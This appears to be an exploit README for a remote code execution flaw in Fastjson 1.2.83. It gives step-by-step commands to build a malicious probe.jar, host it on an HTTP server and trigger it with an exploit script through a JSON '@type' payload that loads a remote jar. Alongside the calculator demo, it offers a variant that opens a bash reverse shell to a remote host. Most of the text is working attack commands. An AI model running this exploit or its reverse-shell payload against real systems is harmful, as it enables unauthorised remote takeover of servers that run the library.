Exploit for fastjson-1.2.83-rce

## https://sploitus.com/exploit?id=3F37F7CD-869F-5A4D-8F53-5BE25808E9C3
# Fastjson 1.2.83 RCE Vulnerability Testing Environment

## Vulnerability Overview

A remote class loading vulnerability exists in the `@JSONType` annotation detection path within `checkAutoType` in Fastjson versions 1.2.66 through 1.2.83. RCE is achievable without `autoTypeSupport`, without third-party dependencies, and with `safeMode` disabled (default).

Prerequisites: Spring Boot FatJar + JDK 8 + Target system with internet access

## Usage

### Step 1: Launch the test environment

```bash
java -jar fastjson-rce-env-1.0.0.jar
```

Visit http://127.0.0.1:18080/ to confirm successful startup

### Step 2: Generate probe.jar

```bash
# Compile
javac -cp "poc/lib/*" -d poc poc/GenProbe.java

# Generate (parameters: IP, port, command)
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "open -a Calculator"
```

To launch the calculator on Windows, change the last parameter to `"calc"`; to launch a reverse shell, change it to `"bash -i >& /dev/tcp/VPS/4444 0>&1"`

### Step 3: Start the HTTP server

```bash
cd poc/www && python3 -m http.server 19090
```

### Step 4: Launch the calculator

```bash
python3 poc/exp.py -u http://127.0.0.1:18080/parse -poc http://127.0.0.1:19090/probe
```

![exploit success](success.png)

## Notes

- **You must restart the target environment** (Step 1) before each test, as the JVM caches class loading results
- Sequence of operations: Step 1 → Step 2 → Step 3 → Step 4 (The HTTP host must be started before running the exploit)
- If exp.py times out but the HTTP host sees a `GET /probe` request, it means RCE has been triggered

## Custom Commands

Regenerate probe.jar:

```bash
javac -cp "poc/lib/*" -d poc poc/GenProbe.java
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe
```

```bash
# macOS
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "open -a Calculator"

# Windows
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 192.168.1.100 19090 "calc"

# Reverse shell
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 1.2.3.4 19090 "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1"
```

## Vulnerability Mechanism

```
payload: {"@type":"jar:http:..2130706433:19090.probe!.POC","x":1}
↓ Fastjson: typeName.replace('.', '/') + ".class"
resource: "jar:http://127.0.0.1:19090/probe!/POC.class"
↓ LaunchedURLClassLoader.getResourceAsStream()
Remote jar download → @JSONType detected → loadClass → execution → RCE
```